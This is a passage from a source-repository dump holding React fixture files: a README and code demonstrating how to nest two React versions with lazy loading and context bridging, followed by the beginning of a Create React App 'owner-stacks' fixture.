    "content": "# Nested React Demo\n\nThis is a demo of how you can configure a build system to serve **two different versions of React** side by side in the same app. This is not optimal, and should only be used as a compromise to prevent your app from getting stuck on an old version of React.\n\n## You Probably Don't Need This\n\nNote that **this approach is meant to be an escape hatch, not the norm**.\n\nNormally, we encourage you to use a single version of React across your whole app. When you need to upgrade React, it is better to try to upgrade it all at once. We try to keep breaking changes between versions to the minimum, and often there are automatic scripts (\"codemods\") that can assist you with migration. You can always find the migration information for any release on [our blog](https://reactjs.org/blog/).\n\nUsing a single version of React removes a lot of complexity. It is also essential to ensure the best experience for your users who don't have to download the code twice. Always prefer using one React.\n\n## What Is This For?\n\nHowever, for some apps that have been in production for many years, upgrading all screens at once may be prohibitively difficult. For example, React components written in 2014 may still rely on [the unofficial legacy context API](https://reactjs.org/docs/legacy-context.html) (not to be confused with the modern one), and are not always maintained. \n\nTraditionally, this meant that if a legacy API is deprecated, you would be stuck on the old version of React forever. That prevents your whole app from receiving improvements and bugfixes. This repository demonstrates a hybrid approach. It shows how you can use a newer version of React for some parts of your app, while **lazy-loading an older version of React** for the parts that haven't been migrated yet.\n\nThis approach is inherently more complex, and should be used as a last resort when you can't upgrade.\n\n## Version Requirements\n\nThis demo uses two different versions of React: React 17 for \"modern\" components (in `src/modern`), and React 16.8 for \"legacy\" components (in `src/legacy`).\n\n**We still recommend upgrading your whole app to React 17 in one piece.** The React 17 release intentionally has minimal breaking changes so that it's easier to upgrade to. In particular, React 17 solves some problems with nesting related to event propagation that earlier versions of React did not handle well. We expect that this nesting demo may not be as useful today as during a future migration from React 17 to the future major versions where some of the long-deprecated APIs may be removed.\n\nHowever, if you're already stuck on an old version of React, you may found this approach useful today. If you remove a Hook call from `src/shared/Clock.js`, you can downgrade the legacy React all the way down to React 16.3. If you then remove Context API usage from `src/legacy/createLegacyRoot.js`, you can further downgrade the legacy React version, but keep in mind that the usage of third-party libraries included in this demo (React Router and React Redux) may need to be adjusted or removed.\n\n## Installation\n\nTo run this demo, open its folder in Terminal and execute:\n\n```sh\nnpm install\nnpm start\n```\n\nIf you want to test the production build, you can run instead:\n\n```\nnpm install\nnpm run build\nnpx serve -s build\n```\n\nThis sample app uses client-side routing and consists of two routes:\n\n- `/` renders a page which uses a newer version of React. (In the production build, you can verify that only one version of React is being loaded when this route is rendered.)\n- `/about` renders a page which uses an older version of React for a part of its tree. (In the production build, you can verify that both versions of React are loaded from different chunks.)\n\n**The purpose of this demo is to show some nuances of such setup:**\n\n- How to install two versions of React in a single app with npm side by side.\n- How to avoid the [\"invalid Hook call\" error](https://github.com/facebook/react/issues/13991) while nesting React trees.\n- How to pass context between different versions of React.\n- How to lazy-load the second React bundle so it's only loaded on the screens that use it.\n- How to do all of this without a special bundler configuration.\n\n## How It Works\n\nFile structure is extremely important in this demo. It has a direct effect on which code is going to use which version of React. This particular demo is using Create React App without ejecting, so **it doesn't rely on any bundler plugins or configuration**. The principle of this demo is portable to other setups.\n\n### Dependencies\n\nWe will use three different `package.json`s: one for non-React code at the root, and two in the respective `src/legacy` and `src/modern` folders that specify the React dependencies:\n\n- **`package.json`**: The root `package.json` is a place for build dependencies (such as `react-scripts`) and any React-agnostic libraries (for example, `lodash`, `immer`, or `redux`). We do **not** include React or any React-related libraries in this file.\n- **`src/legacy/package.json`**: This is where we declare the `react` and `react-dom`  dependencies for the \"legacy\" trees. In this demo, we're using React 16.8 (although, as noted above, we could downgrade it further below). This is **also** where we specify any third-party libraries that use React. For example, we include `react-router` and `react-redux` in this example. \n- **`src/modern/package.json`**: This is where we declare the `react` and `react-dom`  dependencies for the \"modern\" trees. In this demo, we're using React 17. Here, we also specify third-party dependencies that use React and are used from the modern part of our app. This is why we *also* have `react-router` and `react-redux` in this file. (Their versions don't strictly have to match their `legacy` counterparts, but features that rely on context may require workarounds if they differ.)\n\nThe `scripts` in the root `package.json` are set up so that when you run `npm install` in it, it also runs `npm install` in both `src/legacy` and `src/modern` folders.\n\n**Note:** This demo is set up to use a few third-party dependencies (React Router and Redux). These are not essential, and you can remove them from the demo. They are included so we can show how to make them work with this approach.\n\n### Folders\n\nThere are a few key folders in this example:\n\n- **`src`**: Root of the source tree. At this level (or below it, except for the special folders noted below), you can put any logic that's agnostic of React. For example, in this demo we have `src/index.js` which is the app's entry point, and `src/store.js` which exports a Redux store. These regular modules only execute once, and are **not** duplicated between the bundles.\n- **`src/legacy`**: This is where all the code using the older version of React should go. This includes React components and Hooks, and general product code that is **only** used by the legacy trees.\n- **`src/modern`**: This is where all the code using the newer version of React should go. This includes React components and Hooks, and general product code that is **only** used by the modern trees.\n- **`src/shared`**: You may have some components or Hooks that you wish to use from both modern and legacy subtrees. The build process is set up so that **everything inside `src/shared` gets copied by a file watcher** into both `src/legacy/shared` and `src/modern/shared` on every change. This lets you write a component or a Hook once, but reuse it in both places.\n \n### Lazy Loading\n\nLoading two Reacts on the same page is bad for the user experience, so you should strive to push this as far as possible from the critical path of your app. For example, if there is a dialog that is less commonly used, or a route that is rarely visited, those are better candidates for staying on an older version of React than parts of your homepage.\n\nTo encourage only loading the older React when necessary, this demo includes a helper that works similarly to `React.lazy`. For example, `src/modern/AboutPage.js`, simplified, looks like this:\n\n```js\nimport lazyLegacyRoot from './lazyLegacyRoot';\n\n// Lazy-load a component from the bundle using legacy React.\nconst Greeting = lazyLegacyRoot(() => import('../legacy/Greeting'));\n\nfunction AboutPage() {\n  return (\n    <>\n      <h3>This component is rendered by React ({React.version}).</h3>\n      <Greeting />\n    </>\n  );\n}\n```\n\nAs a result, only if the `AboutPage` (and as a result, `<Greeting />`) gets rendered, we will load the bundle containing the legacy React and the legacy `Greeting` component. Like with `React.lazy()`, we wrap it in `<Suspense>` to specify the loading indicator:\n\n```js\n<Suspense fallback={<Spinner />}>\n  <AboutPage />\n</Suspense>\n```\n\nIf the legacy component is only rendered conditionally, we won't load the second React until it's shown:\n\n```js\n<>\n  <button onClick={() => setShowGreeting(true)}>\n    Say hi\n  </button>\n  {showGreeting && (\n    <Suspense fallback={<Spinner />}>\n      <Greeting />\n    </Suspense>\n  )}\n</>\n```\n\n\nThe implementation of the `src/modern/lazyLegacyRoot.js` helper is included so you can tweak it and customize it to your needs. Remember to test lazy loading with the production builds because the bundler may not optimize it in development.\n\n### Context\n\nIf you have nested trees managed by different versions of React, the inner tree won't \"see\" the outer tree's Context.\n\nThis breaks third-party libraries like React Redux or React Router, as well as any of your own usage of Context (for example, for theming).\n\nTo solve this problem, we read all the Contexts we care about in the outer tree, pass them to the inner tree, and then wrap the inner tree in the corresponding Providers. You can see this in action in two files:\n\n* `src/modern/lazyLegacyRoot.js`: Look for `useContext` calls, and how their results are combined into a single object that is passed through. **You can read more Contexts there** if your app requires them.\n* `src/legacy/createLegacyRoot.js`: Look for the `Bridge` component which receives that object and wraps its children with the appropriate Context Providers. **You can wrap them with more Providers there** if your app requires them.\n\nNote that, generally saying, this approach is somewhat fragile, especially because some libraries may not expose their Contexts officially or consider their structure private. You may be able to expose private Contexts by using a tool like [patch-package](https://www.npmjs.com/package/patch-package), but remember to keep all the versions pinned because even a patch release of a third-party library may change the behavior.\n\n### Nesting Direction\n\nIn this demo, we use an older React inside an app managed by the newer React. However, we could rename the folders and apply the same approach in the other direction.\n\n### Event Propagation\n\nNote that before React 17, `event.stopPropagation()` in the inner React tree does not prevent the event propagation to the outer React tree. This may cause unexpected behavior when extracting a UI tree like a dialog to use a separate React. This is because prior to React 17, both Reacts would attach the event listener at the `document` level. React 17 fixes this by attaching handlers to the roots. We strongly recommend upgrading to React 17 before considering the nesting strategy for future upgrades.\n\n### Gotchas\n\nThis setup is unusual, so it has a few gotchas.\n\n* Don't add `package.json` to the `src/shared` folder. For example, if you want to use an npm React component inside `src/shared`, you should add it to both `src/modern/package.json` and `src/legacy/package.json` instead. You can use different versions of it but make sure your code works with both of them — and that it works with both Reacts!\n* Don't use React outside of the `src/modern`, `src/legacy`, or `src/shared`. Don't add React-related libraries outside of `src/modern/package.json` or `src/legacy/package.json`.\n* Remember that `src/shared` is where you write shared components, but the files you write there are automatically copied into `src/modern/shared` and `src/legacy/shared`, **from which you should import them**. Both of the target directories are in `.gitignore`. Importing directly from `src/shared` **will not work** because it is ambiguous what `react` refers to in that folder.\n* Keep in mind that any code in `src/shared` gets duplicated between the legacy and the modern bundles. Code that should not be duplicated needs to be anywhere else in `src` (but you can't use React there since the version is ambiguous).\n* You'll want to exclude `src/*/node_modules` from your linter's configuration, as this demo does in `.eslintignorerc`.\n\nThis setup is complicated, and we don't recommend it for most apps. However, we believe it is important to offer it as an option for apps that would otherwise get left behind. There might be ways to simplify it with a layer of tooling, but this example is intentionally showing the low-level mechanism that other tools may build on.\n"
  },
  {
    "path": "fixtures/nesting/package.json",
    "content": "{\n  \"name\": \"react-nesting-example\",\n  \"version\": \"0.1.0\",\n  \"private\": true,\n  \"dependencies\": {\n    \"react-scripts\": \"3.4.1\",\n    \"redux\": \"^4.0.5\"\n  },\n  \"scripts\": {\n    \"postinstall\": \"run-p install:*\",\n    \"install:legacy\": \"cd src/legacy && npm install\",\n    \"install:modern\": \"cd src/modern && npm install\",\n    \"copy:legacy\": \"cpx 'src/shared/**' 'src/legacy/shared/'\",\n    \"copy:modern\": \"cpx 'src/shared/**' 'src/modern/shared/'\",\n    \"watch:legacy\": \"cpx 'src/shared/**' 'src/legacy/shared/' --watch --no-initial\",\n    \"watch:modern\": \"cpx 'src/shared/**' 'src/modern/shared/' --watch --no-initial\",\n    \"prebuild\": \"run-p copy:*\",\n    \"predev\": \"run-p copy:*\",\n    \"dev\": \"run-p dev-app watch:*\",\n    \"dev-app\": \"react-scripts start\",\n    \"build\": \"react-scripts build\",\n    \"eject\": \"react-scripts eject\"\n  },\n  \"eslintConfig\": {\n    \"extends\": \"react-app\"\n  },\n  \"browserslist\": {\n    \"production\": [\n      \">0.2%\",\n      \"not dead\",\n      \"not op_mini all\"\n    ],\n    \"development\": [\n      \"last 1 chrome version\",\n      \"last 1 firefox version\",\n      \"last 1 safari version\"\n    ]\n  },\n  \"devDependencies\": {\n    \"cpx\": \"^1.5.0\",\n    \"npm-run-all\": \"^4.1.5\"\n  }\n}\n"
  },
  {
    "path": "fixtures/nesting/public/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n    <title>React App</title>\n  </head>\n  <body>\n    <noscript>You need to enable JavaScript to run this app.</noscript>\n    <div id=\"root\"></div>\n  </body>\n</html>\n"
  },
  {
    "path": "fixtures/nesting/src/index.js",
    "content": "import './modern/index';\n"
  },
  {
    "path": "fixtures/nesting/src/legacy/Greeting.js",
    "content": "import React from 'react';\nimport {Component} from 'react';\nimport {findDOMNode} from 'react-dom';\nimport {Link} from 'react-router-dom';\nimport {connect} from 'react-redux';\nimport {store} from '../store';\n\nimport ThemeContext from './shared/ThemeContext';\nimport Clock from './shared/Clock';\n\nstore.subscribe(() => {\n  console.log('Counter:', store.getState());\n});\n\nclass AboutSection extends Component {\n  componentDidMount() {\n    // The modern app is wrapped in StrictMode,\n    // but the legacy bits can still use old APIs.\n    findDOMNode(this);\n  }\n  render() {\n    return (\n      <ThemeContext.Consumer>\n        {theme => (\n          <div style={{border: '1px dashed black', padding: 20}}>\n            <h3>src/legacy/Greeting.js</h3>\n            <h4 style={{color: theme}}>\n              This component is rendered by the nested React ({React.version}).\n            </h4>\n            <Clock />\n            <p>\n              Counter: {this.props.counter}{' '}\n              <button onClick={() => this.props.dispatch({type: 'increment'})}>\n                +\n              </button>\n            </p>\n            <b>\n              <Link to=\"/\">Go to Home</Link>\n            </b>\n          </div>\n        )}\n      </ThemeContext.Consumer>\n    );\n  }\n}\n\nfunction mapStateToProps(state) {\n  return {counter: state};\n}\n\nexport default connect(mapStateToProps)(AboutSection);\n"
  },
  {
    "path": "fixtures/nesting/src/legacy/createLegacyRoot.js",
    "content": "/* eslint-disable react/jsx-pascal-case */\n\nimport React from 'react';\nimport ReactDOM from 'react-dom';\nimport ThemeContext from './shared/ThemeContext';\n\n// Note: this is a semi-private API, but it's ok to use it\n// if we never inspect the values, and only pass them through.\nimport {__RouterContext} from 'react-router';\nimport {Provider} from 'react-redux';\n\n// Pass through every context required by this tree.\n// The context object is populated in src/modern/withLegacyRoot.\nfunction Bridge({children, context}) {\n  return (\n    <ThemeContext.Provider value={context.theme}>\n      <__RouterContext.Provider value={context.router}>\n        {/*\n          If we used the newer react-redux@7.x in the legacy/package.json,\n          we woud instead import {ReactReduxContext} from 'react-redux'\n          and render <ReactReduxContext.Provider value={context.reactRedux}>.\n        */}\n        <Provider store={context.reactRedux.store}>{children}</Provider>\n      </__RouterContext.Provider>\n    </ThemeContext.Provider>\n  );\n}\n\nexport default function createLegacyRoot(container) {\n  return {\n    render(Component, props, context) {\n      ReactDOM.render(\n        <Bridge context={context}>\n          <Component {...props} />\n        </Bridge>,\n        container\n      );\n    },\n    unmount() {\n      ReactDOM.unmountComponentAtNode(container);\n    },\n  };\n}\n"
  },
  {
    "path": "fixtures/nesting/src/legacy/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"react-nesting-example-legacy\",\n  \"dependencies\": {\n    \"react\": \"16.8\",\n    \"react-dom\": \"16.8\",\n    \"react-redux\": \"4.4.10\",\n    \"react-router-dom\": \"5.2.0\"\n  }\n}\n"
  },
  {
    "path": "fixtures/nesting/src/modern/AboutPage.js",
    "content": "import React from 'react';\nimport {useContext} from 'react';\nimport {connect} from 'react-redux';\n\nimport ThemeContext from './shared/ThemeContext';\nimport lazyLegacyRoot from './lazyLegacyRoot';\n\n// Lazy-load a component from the bundle using legacy React.\nconst Greeting = lazyLegacyRoot(() => import('../legacy/Greeting'));\n\nfunction AboutPage({counter, dispatch}) {\n  const theme = useContext(ThemeContext);\n  return (\n    <>\n      <h2>src/modern/AboutPage.js</h2>\n      <h3 style={{color: theme}}>\n        This component is rendered by the outer React ({React.version}).\n      </h3>\n      <Greeting />\n      <br />\n      <p>\n        Counter: {counter}{' '}\n        <button onClick={() => dispatch({type: 'increment'})}>+</button>\n      </p>\n    </>\n  );\n}\n\nfunction mapStateToProps(state) {\n  return {counter: state};\n}\n\nexport default connect(mapStateToProps)(AboutPage);\n"
  },
  {
    "path": "fixtures/nesting/src/modern/App.js",
    "content": "import React from 'react';\nimport {useState, Suspense} from 'react';\nimport {BrowserRouter, Switch, Route} from 'react-router-dom';\n\nimport HomePage from './HomePage';\nimport AboutPage from './AboutPage';\nimport ThemeContext from './shared/ThemeContext';\n\nexport default function App() {\n  const [theme, setTheme] = useState('slategrey');\n\n  function handleToggleClick() {\n    if (theme === 'slategrey') {\n      setTheme('hotpink');\n    } else {\n      setTheme('slategrey');\n    }\n  }\n\n  return (\n    <BrowserRouter>\n      <ThemeContext.Provider value={theme}>\n        <div style={{fontFamily: 'sans-serif'}}>\n          <div\n            style={{\n              margin: 20,\n              padding: 20,\n              border: '1px solid black',\n              minHeight: 300,\n            }}>\n            <button onClick={handleToggleClick}>Toggle Theme Context</button>\n            <br />\n            <Suspense fallback={<Spinner />}>\n              <Switch>\n                <Route path=\"/about\">\n                  <AboutPage />\n                </Route>\n                <Route path=\"/\">\n                  <HomePage />\n                </Route>\n              </Switch>\n            </Suspense>\n          </div>\n        </div>\n      </ThemeContext.Provider>\n    </BrowserRouter>\n  );\n}\n\nfunction Spinner() {\n  return null;\n}\n"
  },
  {
    "path": "fixtures/nesting/src/modern/HomePage.js",
    "content": "import React from 'react';\nimport {useContext} from 'react';\nimport {Link} from 'react-router-dom';\n\nimport ThemeContext from './shared/ThemeContext';\nimport Clock from './shared/Clock';\n\nexport default function HomePage({counter, dispatch}) {\n  const theme = useContext(ThemeContext);\n  return (\n    <>\n      <h2>src/modern/HomePage.js</h2>\n      <h3 style={{color: theme}}>\n        This component is rendered by the outer React ({React.version}).\n      </h3>\n      <Clock />\n      <b>\n        <Link to=\"/about\">Go to About</Link>\n      </b>\n    </>\n  );\n}\n"
  },
  {
    "path": "fixtures/nesting/src/modern/index.js",
    "content": "import React from 'react';\nimport {StrictMode} from 'react';\nimport ReactDOM from 'react-dom';\nimport {Provider} from 'react-redux';\nimport App from './App';\nimport {store} from '../store';\n\nReactDOM.render(\n  <StrictMode>\n    <Provider store={store}>\n      <App />\n    </Provider>\n  </StrictMode>,\n  document.getElementById('root')\n);\n"
  },
  {
    "path": "fixtures/nesting/src/modern/lazyLegacyRoot.js",
    "content": "import React from 'react';\nimport {useContext, useMemo, useRef, useState, useLayoutEffect} from 'react';\nimport {__RouterContext} from 'react-router';\nimport {ReactReduxContext} from 'react-redux';\n\nimport ThemeContext from './shared/ThemeContext';\n\nlet rendererModule = {\n  status: 'pending',\n  promise: null,\n  result: null,\n};\n\nexport default function lazyLegacyRoot(getLegacyComponent) {\n  let componentModule = {\n    status: 'pending',\n    promise: null,\n    result: null,\n  };\n\n  return function Wrapper(props) {\n    const createLegacyRoot = readModule(\n      rendererModule,\n      () => import('../legacy/createLegacyRoot')\n    ).default;\n    const Component = readModule(componentModule, getLegacyComponent).default;\n    const containerRef = useRef(null);\n    const rootRef = useRef(null);\n\n    // Populate every contexts we want the legacy subtree to see.\n    // Then in src/legacy/createLegacyRoot we will apply them.\n    const theme = useContext(ThemeContext);\n    const router = useContext(__RouterContext);\n    const reactRedux = useContext(ReactReduxContext);\n    const context = useMemo(\n      () => ({\n        theme,\n        router,\n        reactRedux,\n      }),\n      [theme, router, reactRedux]\n    );\n\n    // Create/unmount.\n    useLayoutEffect(() => {\n      if (!rootRef.current) {\n        rootRef.current = createLegacyRoot(containerRef.current);\n      }\n      const root = rootRef.current;\n      return () => {\n        root.unmount();\n      };\n    }, [createLegacyRoot]);\n\n    // Mount/update.\n    useLayoutEffect(() => {\n      if (rootRef.current) {\n        rootRef.current.render(Component, props, context);\n      }\n    }, [Component, props, context]);\n\n    return <div style={{display: 'contents'}} ref={containerRef} />;\n  };\n}\n\n// This is similar to React.lazy, but implemented manually.\n// We use this to Suspend rendering of this component until\n// we fetch the component and the legacy React to render it.\nfunction readModule(record, createPromise) {\n  if (record.status === 'fulfilled') {\n    return record.result;\n  }\n  if (record.status === 'rejected') {\n    throw record.result;\n  }\n  if (!record.promise) {\n    record.promise = createPromise().then(\n      value => {\n        if (record.status === 'pending') {\n          record.status = 'fulfilled';\n          record.promise = null;\n          record.result = value;\n        }\n      },\n      error => {\n        if (record.status === 'pending') {\n          record.status = 'rejected';\n          record.promise = null;\n          record.result = error;\n        }\n      }\n    );\n  }\n  throw record.promise;\n}\n"
  },
  {
    "path": "fixtures/nesting/src/modern/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"react-nesting-example-modern\",\n  \"dependencies\": {\n    \"react\": \"0.0.0-3d0895557\",\n    \"react-dom\": \"0.0.0-3d0895557\",\n    \"react-redux\": \"7.2.1\",\n    \"react-router-dom\": \"5.2.0\"\n  }\n}\n"
  },
  {
    "path": "fixtures/nesting/src/shared/Clock.js",
    "content": "import React from 'react';\n\nimport useTime from './useTime';\n\nexport default function Clock() {\n  const time = useTime();\n  return <p>Time: {time}</p>;\n}\n"
  },
  {
    "path": "fixtures/nesting/src/shared/ThemeContext.js",
    "content": "import {createContext} from 'react';\n\nconst ThemeContext = createContext(null);\n\nexport default ThemeContext;\n"
  },
  {
    "path": "fixtures/nesting/src/shared/useTime.js",
    "content": "import {useState, useEffect} from 'react';\n\nexport default function useTimer() {\n  const [value, setValue] = useState(() => new Date());\n  useEffect(() => {\n    const id = setInterval(() => {\n      setValue(new Date());\n    }, 1000);\n    return () => clearInterval(id);\n  }, []);\n  return value.toLocaleTimeString();\n}\n"
  },
  {
    "path": "fixtures/nesting/src/store.js",
    "content": "import {createStore} from 'redux';\n\nfunction reducer(state = 0, action) {\n  switch (action.type) {\n    case 'increment':\n      return state + 1;\n    default:\n      return state;\n  }\n}\n\n// Because this file is declared above both Modern and Legacy folders,\n// we can import this from either folder without duplicating the object.\nexport const store = createStore(reducer);\n"
  },
  {
    "path": "fixtures/owner-stacks/.gitignore",
    "content": "# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.\n\n# dependencies\n/node_modules\n/.pnp\n.pnp.js\n\n# testing\n/coverage\n\n# production\n/build\n\n# misc\n.DS_Store\n.env.local\n.env.development.local\n.env.test.local\n.env.production.local\n\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n"
  },
  {
    "path": "fixtures/owner-stacks/README.md",
    "content": "# Getting Started with Create React App\n\nThis project was bootstrapped with [Create React App](https://github.com/facebook/create-react-app).\n\n## Available Scripts\n\nIn the project directory, you can run:\n\n### `yarn start`\n\nRuns the app in the development mode.\\\nOpen [http://localhost:3000](http://localhost:3000) to view it in your browser.\n\nThe page will reload when you make changes.\\\nYou may also see any lint errors in the console.\n\n### `yarn test`\n\nLaunches the test runner in the interactive watch mode.\\\nSee the section about [running tests](https://facebook.github.io/create-react-app/docs/running-tests) for more information.\n\n### `yarn build`\n\nBuilds the app for production to the `build` folder.\\\nIt correctly bundles React in production mode and optimizes the build for the best performance.\n\nThe build is minified and the filenames include the hashes.\\\nYour app is ready to be deployed!\n\nSee the section about [deployment](https://facebook.github.io/create-react-app/docs/deployment) for more information.\n\n### `yarn eject`\n\n**Note: this is a one-way operation. Once you `eject`, you can't go back!**\n\nIf you aren't satisfied with the build tool and configuration choices, you can `eject` at any time. This command will remove the single build dependency from your project.\n\nInstead, it will copy all the configuration files and the transitive dependencies (webpack, Babel, ESLint, etc) right into your project so you have full control over them. All of the commands except `eject` will still work, but they will point to the copied scripts so you can tweak them. At this point you're on your own.\n\nYou don't have to ever use `eject`. The curated feature set is suitable for small and middle deployments, and you shouldn't feel obligated to use this feature. However we understand that this tool wouldn't be useful if you couldn't customize it when you are ready for it.\n\n## Learn More\n\nYou can learn more in the [Create React App documentation](https://facebook.github.io/create-react-app/docs/getting-started).\n\nTo learn React, check out the [React documentation](https://reactjs.org/).\n\n### Code Splitting\n\nThis section has moved here: [https://facebook.github.io/create-react-app/docs/code-splitting](https://facebook.github.io/create-react-app/docs/code-splitting)\n\n### Analyzing the Bundle Size\n\nThis section has moved here: [https://facebook.github.io/create-react-app/docs/analyzing-the-bundle-size](https://facebook.github.io/create-react-app/docs/analyzing-the-bundle-size)\n\n### Making a Progressive Web App\n\nThis section has moved here: [https://facebook.github.io/create-react-app/docs/making-a-progressive-web-app](https://facebook.github.io/create-react-app/docs/making-a-progressive-web-app)\n\n### Advanced Configuration\n\nThis section has moved here: [https://facebook.github.io/create-react-app/docs/advanced-configuration](https://facebook.github.io/create-react-app/docs/advanced-configuration)\n\n### Deployment\n\nThis section has moved here: [https://facebook.github.io/create-react-app/docs/deployment](https://facebook.github.io/create-react-app/docs/deployment)\n\n### `yarn build` fails to minify\n\nThis section has moved here: [https://facebook.github.io/create-react-app/docs/troubleshooting#npm-run-build-fails-to-minify](https://facebook.github.io/create-react-app/docs/troubleshooting#npm-run-build-fails-to-minify)\n"
  },
  {
    "path": "fixtures/owner-stacks/package.json",
    "content": "{\n  \"name\": \"owner-stacks\",\n  \"version\": \"0.1.0\",\n  \"private\": true,\n  \"dependencies\": {\n    \"react\": \"experimental\",\n    \"react-dom\": \"experimental\",\n    \"react-scripts\": \"5.0.1\",\n    \"web-vitals\": \"^2.1.0\"\n  },\n  \"scripts\": {\n    \"prestart\": \"cp -a ../../build/oss-experimental/. node_modules && rm -rf node_modules/.cache;\",\n    \"start\": \"react-scripts start\",\n    \"build\": \"react-scripts build\",\n    \"test\": \"react-scripts test\",\n    \"eject\": \"react-scripts eject\"\n  },\n  \"eslintConfig\": {\n    \"extends\": [\n      \"react-app\",\n      \"react-app/jest\"\n    ]\n  },\n  \"browserslist\": {\n    \"production\": [\n      \">0.2%\",\n      \"not dead\",\n      \"not op_mini all\"\n    ],\n    \"development\": [\n      \"last 1 chrome version\",\n      \"last 1 firefox version\",\n      \"last 1 safari version\"\n    ]\n  }\n}\n"
  },
  {
    "path": "fixtures/owner-stacks/public/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <link rel=\"icon\" href=\"%PUBLIC_URL%/favicon.ico\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n    <meta name=\"theme-color\" content=\"#000000\" />\n    <meta\n      name=\"description\"\n      content=\"Web site created using create-react-app\"\n    />\n    <link rel=\"apple-touch-icon\" href=\"%PUBLIC_URL%/logo192.png\" />\n    <!--\n      manifest.json provides metadata used when your web app is installed on a\n      user's mobile device or desktop. See https://developers.google.com/web/fundamentals/web-app-manifest/\n    -->\n    <link rel=\"manifest\" href=\"%PUBLIC_URL%/manifest.json\" />\n    <!--\n      Notice the use of %PUBLIC_URL% in the tags above.\n      It will be replaced with the URL of the `public` folder during the build.\n      Only files inside the `public` folder can be referenced from the HTML.\n\n      Unlike \"/favicon.ico\" or \"favicon.ico\", \"%PUBLIC_URL%/favicon.ico\" will\n      work correctly both with client-side routing and a non-root public URL.\n      Learn how to configure a non-root public URL by running `npm run build`.\n    -->\n    <title>React App</title>\n  </head>\n  <body>\n    <noscript>You need to enable JavaScript to run this app.</noscript>\n    <div id=\"root\"></div>\n    <!--\n      This HTML file is a template.\n      If you open it directly in the browser, you will see an empty page.\n\n      You can add webfonts, meta tags, or analytics to this file.\n      The build step will place the bundled scripts into the <body> tag.\n\n      To begin the development, run `npm start` or `yarn start`.\n      To create a production bundle, use `npm run build` or `yarn build`.\n    -->\n  </body>\n</html>\n"
  },
  {
    "path": "fixtures/owner-stacks/public/manifest.json",
    "content": "{\n  \"short_name\": \"React App\",\n  \"name\": \"Create React App Sample\",\n  \"icons\": [\n    {\n      \"src\": \"favicon.ico\",\n      \"sizes\": \"64x64 32x32 24x24 16x16\",\n      \"type\": \"image/x-icon\"\n    },\n    {\n      \"src\": \"logo192.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"192x192\"\n    },\n    {\n      \"src\": \"logo512.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"512x512\"\n    }\n  ],\n  \"start_url\": \".\",\n  \"display\": \"standalone\",\n  \"theme_color\": \"#000000\",\n  \"background_color\": \"#ffffff\"\n}\n"
  },
  {
    "path": "fixtures/owner-stacks/public/robots.txt",
    "content": "# https://www.robotstxt.org/robotstxt.html\nUser-agent: *\nDisallow:\n"
  },
  {
    "path": "fixtures/owner-stacks/src/App.css",
    "content": ".App-header {\n  background-color: #282c34;\n  min-height: 10vh;\n  display: flex;\n  align-items: center;\n  justify-content: center;\n  font-size: calc(10px + 2vmin);\n  color: white;\n}\n\n.page {\n  display: flex;\n  height: 90vh;\n}\n\n.content {\n  flex: 4;\n  background-color: #f0f0f0;\n  padding: 20px;\n  display: flex;\n  flex-direction: column;\n  text-align: left;\n}\n\n.content.highlight {\n  background-color: yellow;\n}\n\n.sidebar {\n  flex: 1;\n  background-color: #d0d0d0;\n  padding: 20px;\n}\n\n.line-number {\n  display: inline-block;\n  width: 30px;\n  text-align: right;\n  margin-right: 10px;\n  color: #888;\n}\n\n.text-symbol {\n  position: relative;\n  display: inline-block;\n}\n\n.hovercard {\n  display: none;\n  position: absolute;\n  top: -40px;\n  left: 0;\n  background-color: white;\n  border: 1px solid #ccc;\n  padding: 5px;\n  box-shadow: 0 2px 5px rgba(0, 0, 0, 0.2);\n  z-index: 10;\n}\n\n.text-symbol:hover .hovercard {\n  display: block;\n}\n"
  },
  {
    "path": "fixtures/owner-stacks/src/App.js",
    "content": "import {useState} from 'react';\nimport {flushSync} from 'react-dom';\nimport './App.css';\n\nconst text = `\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut 